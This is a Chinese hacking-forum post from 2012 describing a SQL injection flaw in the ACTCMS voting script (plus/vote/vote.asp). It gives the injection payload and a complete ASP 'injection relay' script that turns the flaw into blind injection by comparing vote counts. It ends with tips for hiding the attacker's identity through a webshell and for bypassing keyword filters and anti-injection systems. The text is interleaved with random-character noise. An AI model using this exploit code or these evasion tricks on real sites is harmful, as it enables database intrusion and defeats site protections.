找回密码
 立即注册
查看: 2786|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
" j0 o- q! B) u. g, L( U
看到ninty大牛的blog的一篇文章
* X0 V% X2 E6 P* a$ n  c$ D链接标记[url]http://www.forjj.com/?action=show&id=80[/url]% n% @. y0 O0 ]! z7 o
关于actcms漏洞的利用  by 3x qq:381862589
5 F- n% F/ c/ {转载请注明以上
3 W: q% X# v0 z0 \9 p漏洞文件:
1 K/ ?& f1 N# |8 v1 ~2 |$ F/ j/plus/vote/vote.asp
$ O( r) S1 Y, b6 `' A' L代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
6 p0 L, L$ X6 a/ x2 ]
% V( _3 s3 W  H! i8 h; T! p2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   ! B, w# G0 F; K6 G4 y7 C

+ I; c# W6 E) Y4 x. ]- I3    response.end    1 L% X6 c+ \' M. Z; I+ E7 p! ]

8 T. G- A- c5 h  j% P  }4    end if    + o) }( s6 n- a3 w
. U. O; Y: u, d! n3 ^5 p9 b4 O
5    for i=1 to request("voted").count   
8 w, P" N! c& y5 b* e2 K* d8 [+ `" v5 t& M8 H
6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))    0 l8 E1 o5 s- T" D* u
$ `6 W! P) {" c. J! {8 u" ^$ i
7    next    9 t; O+ w# Y- S3 P
6 |/ I( g: i. D- I, R0 E
8....   
6 Q# E- X8 K( X3 f, M/ C( A" G$ `. Q- `/ a; Y. t0 l6 \
9response.Redirect "index.asp?id="&id&""   
  `. z0 V  l0 a# i' K  R投票结束回跳转回index.asp这个投票结果页面2 q7 K% p7 b( `7 |: V  K
如果投票成功票数加16 n. t  z$ ~! Z: m8 Q
            失败票数不变
2 R5 e" f- `; n如图:/ ^/ p3 R; S: O! f
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)2 `/ q) q% P( {* d
% F2 a( h( z% C4 j1 y6 @; e" Q
2009-12-27 13:20; \% f4 m3 h8 ?) F
. I% W" c  ?1 x
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
1 K* v9 q- o5 x' c+ u- p
$ Q: V5 H& d1 B$ l本帖隐藏的内容需要回复才可以浏览4 s( I# M3 R/ x; C; ?- Y0 A
我们用注入中转来实现这个注入具体代码如下:
( Z9 W; g; Q4 O8 U先用寂寞的刺猬大牛的注入中转生成jmget.asp+ o% F5 F$ Y0 E: J/ i2 a
注入地址:http://localhost/actcms/plus/vote/vote.asp
$ |2 @# Z% F; n7 n1 i* l2 V7 @注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项
" F5 u3 H2 u0 G* v8 @1 t4 a; b
: o, ?; o* f) m& Q0 @然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
# _, Q7 N( r3 `8 n
0 a9 t) i6 u" p0 @: p02JmdcwName=request("jmdcw")
. G% O8 b; a2 k8 `
3 F6 J: m/ Q1 t" f) ^& b3 p# B03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] ( w6 n7 o1 Q7 @6 b4 D

# l8 ?8 }5 q" S) j04JmStr="id=1&voted=-1 or 1="&JmdcwName
8 F* c, m0 L7 ]+ O5 J1 U6 L% ]; R0 r0 F8 j) c; Y
05JmStr=URLEncoding(JmStr)
2 V: x$ n3 Q0 B
4 V6 j0 ^8 S: T) w8 d& R. Z06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"% e" H) b2 D! N. d

, ?% P+ s8 ^" T7 U5 i07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"- Z7 G9 F' {" D& Y) W  @

  D  _7 _$ A' V08testurl=testurl & "?" & JmStr ! L0 V. k& @& `+ C$ W8 l+ z" C

1 w% K7 k9 O  Q: S! i% H09JMUrl=JMUrl & "?" & JmStr + d, B: c, f8 h' A+ F

/ f- O+ J$ v$ C10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp". e9 }( p) r# d* J/ v. A( i
5 i9 p. g5 w- r& I
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
9 o  [" d1 ?& [' c
& t8 l: p% b: z12JmCok=replace(JmCok,chr(32),"%20")  0 u3 }% H( e% P2 Z; G/ U: j
9 \5 j8 e; @) M  v$ e$ j
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 5 V2 f7 V7 W; \6 O5 `! S0 V

* o# V% F- T0 h* ^: X14  ' ^/ W" Z2 Q% R- {) t# B; X

" o9 l# s( S! r( d15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票 . ?3 n! R/ y# w5 f1 M

' R- }: @+ u* c7 }+ L7 }16  , ^/ I9 T+ l: A2 T- Y1 L2 f3 _
5 i" K  {* i- s0 `
17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录 % p9 q* h5 v% j( z

, g1 m- [& d: v5 f18response.write test1&""&test2&""
" f( B# ~* y. X" M/ P. @: n/ G' E+ v8 w* W0 F% N6 ]: U
19  ) T. B1 [+ J7 i0 S
  Z% F3 Q" R5 \* u6 O4 D
20if test1=test2 then '如前后记录相等,表示失败 2 S6 h" z7 I8 x0 |  M4 l* P

8 i% g; k* l8 P/ f- }) k21  response.write "failed"
: {2 ^' }$ E5 X. x8 T( D5 a$ _
( v* I9 B8 |' P, k6 o. ^- l22else
2 }9 @4 v0 N4 _
6 ?. y7 {, K. t: R23  response.write "succeed"9 y. _- s' d+ I
1 G5 {- k& h3 e7 P/ @* c" n
24end if  
4 J/ j) _0 e" F- c8 f8 v$ w! m5 F: ]
25  
( m' C2 q3 D+ d0 T& P- r, l+ y# {5 X9 }% E3 S( ?1 s1 }2 ^: m0 y; ^2 U
26response.write "by 3x"
: j/ K6 c" w6 C7 _+ O" o1 K# d( @+ L2 i( d
27  
5 |8 }7 D9 J! x7 F/ K) c$ B: F; y' e* O+ N3 Z  q
28  
4 i% x& ^/ b1 ]  E. Q
* k0 ?# ?) {; c4 l' Y5 {, n* m29Function PostData(PostUrl,PostStr,PostCok,PostRef)   3 c% Q" T: c! j; E* A
1 b/ X: W3 N' F" X2 a, i( X8 H
30Dim Http
- S1 \% E: ^: O# ^
9 ]+ j  d5 q: E+ y( [31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
/ ]$ J6 P. S. i% R" n+ h. A* E% C) Y# p4 l
32With Http
- J5 ~) V: m- {( {" x8 i" b! r; T. I( g: j' t
33  4 C- s: f- ]4 }, I4 x7 L8 Y

# n4 d" L& }5 h" c6 B% g% c34.Open "GET",PostUrl,False- b% c4 \6 [, @# s& C3 W

4 t* x. J+ g9 X- G$ W  I/ r) v7 Y35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
: T- W* a5 f% u& v% k. l1 U* p) M; B' D* L/ c
36.SetRequestHeader "Referer",PostRef + w5 T- Q/ {, ]/ o# N* a

0 M6 ~: P8 d! I37.SetRequestHeader "Cookie",PostCok
% Z- L: o: \$ U- ]( A( Q$ h9 S: o$ t
38.Send ()
' K8 c7 {: g0 e/ n7 N% i8 R/ X+ C8 c5 P- H. T
39PostData = .ResponseBody
/ G* T! [/ @; {0 |1 B: O: L8 i; ~. a4 f: Z& `# a
40End With
! k0 F+ R  Y) G! T  M: v6 ^+ G8 f* j8 P
5 o9 U& u4 q  V9 `% F# T41Set Http = Nothing- J" ^( X9 ~! |% V

0 f  h# E/ ~3 M6 p8 g: [/ t42PostData =bytes2BSTR(PostData)
% x5 }  c7 s3 `; u8 d5 y! w0 V- s. H, p* }; b% M
43End Function  _2 K' B' K6 Q( E1 y  g* w; [
# e* c" @. U' d6 ]9 T6 ?
44  $ c* Q+ |& ~3 o  m# L/ A

, t' Q. H3 P/ F; D45    }( x& k0 u8 R& B/ }$ R
9 e8 i' p- O+ r9 Y1 y) K. I' Q
46Function bytes2BSTR(vIn) 9 ]2 O: k9 l5 Y# f

/ a4 A6 L+ t3 H$ H# e47Dim strReturn % E1 _/ Q% i# I$ o& m4 |

- V/ _6 T& G% J3 R+ _. S48Dim I, ThisCharCode, NextCharCode % t7 c2 e. s+ `8 F: Q/ z1 K

% F* {2 \% n# R9 B' u49strReturn = ""7 b% {1 x% R! z9 O. B# l) f; Q7 _
$ c1 l% b  z0 o, a6 ^8 r
50For I = 1 To LenB(vIn) 3 u0 h! y# @9 Z
7 u/ ?$ C; P' W* D* K4 b
51ThisCharCode = AscB(MidB(vIn, I, 1))
" Z" R) Z' ^0 ]; {& i- {) _2 `1 m/ `9 P
52If ThisCharCode < &H80 Then3 H- X9 q' p( c8 \- ?
, i  C6 Q- I4 p7 r
53strReturn = strReturn & Chr(ThisCharCode) & d4 e$ Z3 ^; }! U! T

+ A7 J* }% d( `; F54Else
& W$ e8 B- c, b# Y9 R+ g6 e% v/ `' w
55NextCharCode = AscB(MidB(vIn, I + 1, 1))
# F1 N3 {4 p; o& m2 x) u# }
4 h* ]5 f2 f0 b/ e' Q7 s2 D- [56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
4 u7 r3 B7 E" P2 @! r
5 i* T! p6 a4 |57I = I + 1
& K' b# C/ x# G6 `. P" q4 }6 g8 y( m$ a0 Y$ A) N) t/ U, e6 X- ^/ u
58End If
/ v( t" \% G+ t
! U' `+ g+ W4 z) r2 j- x59Next, _( y. }) I& `1 g; Z" P/ I" S5 ]

! ?7 u- E# u2 C) j60bytes2BSTR = strReturn
/ t) e# }8 T' k+ B' B
" C6 F3 X% m' k$ @" ]' B: w3 _61End Function
' f% ^0 ^# V& d: E' |
7 Q8 Q) X8 s+ k62  
& |# ^/ y5 t) L% x+ l0 O/ B" u( N: z7 `1 K6 I. a; i4 ]6 I
63Function URLEncoding(vstrin)  
+ z) ~! I5 i, z& K# q* X$ C7 ]) y( D: L: s# f
64strReturn=""( `2 Z- W, h) O. b, X
: j# T" A2 K; _% i+ R2 \
65Dim i   j) T0 a; B) r% s& @' r7 T& g

7 K6 [" j) O  @5 X" }4 X9 g. t$ E66For i=1 To Len(vstrin)
; w' s* @2 @; @: G, V
- a5 Q: d3 Y9 Y8 g! g" q5 A67ThisChr=Mid(vstrin,i,1)
) D* K% x' q' X& G! K+ H6 N5 }9 J6 K! T+ P3 D1 X7 x. Y# U
68if Abs(Asc(ThisChr))< &HFF Then
& L3 n+ {* n7 p- h5 L+ G1 O; c" z; @; v/ i7 K8 [* E8 j. Y5 ~" I4 q
69strReturn=strReturn & ThisChr * P8 I/ s1 s; n2 r" |) V  p

- P* M( F% p! C! l" O- ?70Else
& F# H7 }/ Y. Z: N; L# {* I7 U, U- d1 ], Y$ N6 U
71InnerCode=Asc(ThisChr)
, {  s5 C9 z  B4 N9 N# l3 @9 i7 H( e4 T6 ]5 H2 H  m: M3 X8 M
72If InnerCode<0 Then7 t( m5 `! q: G9 q# I
. a) L( l0 Y1 Y7 e; Z/ \/ i1 ~
73InnerCode=InnerCode + &H10000 " p7 j+ s6 S( A
8 f9 P4 ~* }0 z  y, v
74End If9 V0 b4 L7 I& @, p# D) h% R, ^
' h* N. o8 C, K) l, W6 q) p& W
75Hight1=(InnerCode And &HFF00) \&HFF
& E" U" [* M# u" p6 x
8 }0 o" p& G. `76Low1=InnerCode And &HFF
  }% ^2 |( |" [8 L" {7 n4 W) h
, b3 t) W3 ~: }; H7 j7 P% Z! u77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
8 p% V* r" w/ _9 W# d& @: x1 v8 g0 y6 p1 J# U, M* G0 W/ E
78End if
; d( Y( |( ^/ Z2 M) R) ]0 b" M) b% t
79Next
0 t9 y+ O! s  E1 D; S8 K+ @4 O' r8 @4 Y7 K
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
, J! f1 i# k! a% m. [$ y* o  W' E  m: R0 E& v- C( |$ x: _9 E
81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符   D0 c2 C8 V8 I( x
" d! [6 O9 F, N& {' U
82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码 9 Z4 k. s* L. |  a0 l

6 v% [' V% \& `5 Y! D. c6 q: @83URLEncoding=strReturn
& o5 `% Q1 b: Q" G7 y1 l+ Y( T7 i8 S$ Q% q4 p. W  E- v/ q- b
84End Function2 l. i( d4 [# S) d+ e6 W
9 @8 J* O  y  E4 o( u, H
85  - D; _% y8 s. G

# A! `$ B& K- F( e1 v86function getSt(body) 6 M5 p+ D% \/ R: n9 X
; X- F% c# r2 u2 C- _
87  startpot=instr(body,"投票人数:")+len("投票人数:")
% o+ ?+ Z& ]& |0 x0 L0 P5 w; ~  }; _1 G: d: u8 W
88  endpot=instr(startpot,body," ")
" w( N& \$ o2 q' i( X7 i' y
& Y) k3 `3 l$ I; P9 t( R  A- T89  getSt=mid(body,startpot,endpot-startpot)
. i* p& ~3 t" {; w3 A- Y0 T3 J5 M) Z+ L1 ^
90end function   x) l1 S) v! W4 z/ k$ }2 B8 E
9 P3 u% H* H, g; M1 u
91%>: g) K9 W# _( }3 r9 \
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了; B& t' a% J8 e( F- ]
测试下效果:
/ z: Z  ~  I& w# o- _, _投票成功:
. `# ]8 p, A$ v, x" F" t* P5 ohttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)0 n; ]: L9 x  y: W5 W  T: U/ ]: b

  g1 l, y/ E! w% k4 ^2009-12-27 13:29# f9 r9 R' D9 Z% n
投票失败
9 S, M, p/ U! {. Shttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)- S$ ^, f& f3 G' Q2 J! q

$ z3 p/ g/ q! k0 W) p+ m: |2009-12-27 13:29
+ J* g8 r; k% R' h, x% z-------------------------------------------------------------------------------2 _, Z0 y6 z( P9 o' ^+ Q& i
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以$ E/ @; g7 B; r" A( d* V: m
很抱歉。。。只能用单线程工具去注入。。。。。
% r% `7 v4 m$ L5 F. a% M所以失败。。。不好意思。。。
. t+ f/ ?  {6 S! |-------------------------------------------------------------------------------
" V# ?) Q( R7 c% D9 R
. q# {$ c1 J, z2 j6 E注入中转的一些其他应用
; a, Y  Y6 V' O' U3 p( H其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了
5 m8 I! v; h' ]" z) X  l; A/ \1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id, i/ v# U4 L! j8 X
2.post注入转成get型的注入,方便我们使用工具来跑/ E. K' r& U) C& T
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
+ L$ J( L0 G! H" D4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
1 G) r, {7 |' H7 C' i/ Y; P  K- ]2 i0 ?5 O' ~
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表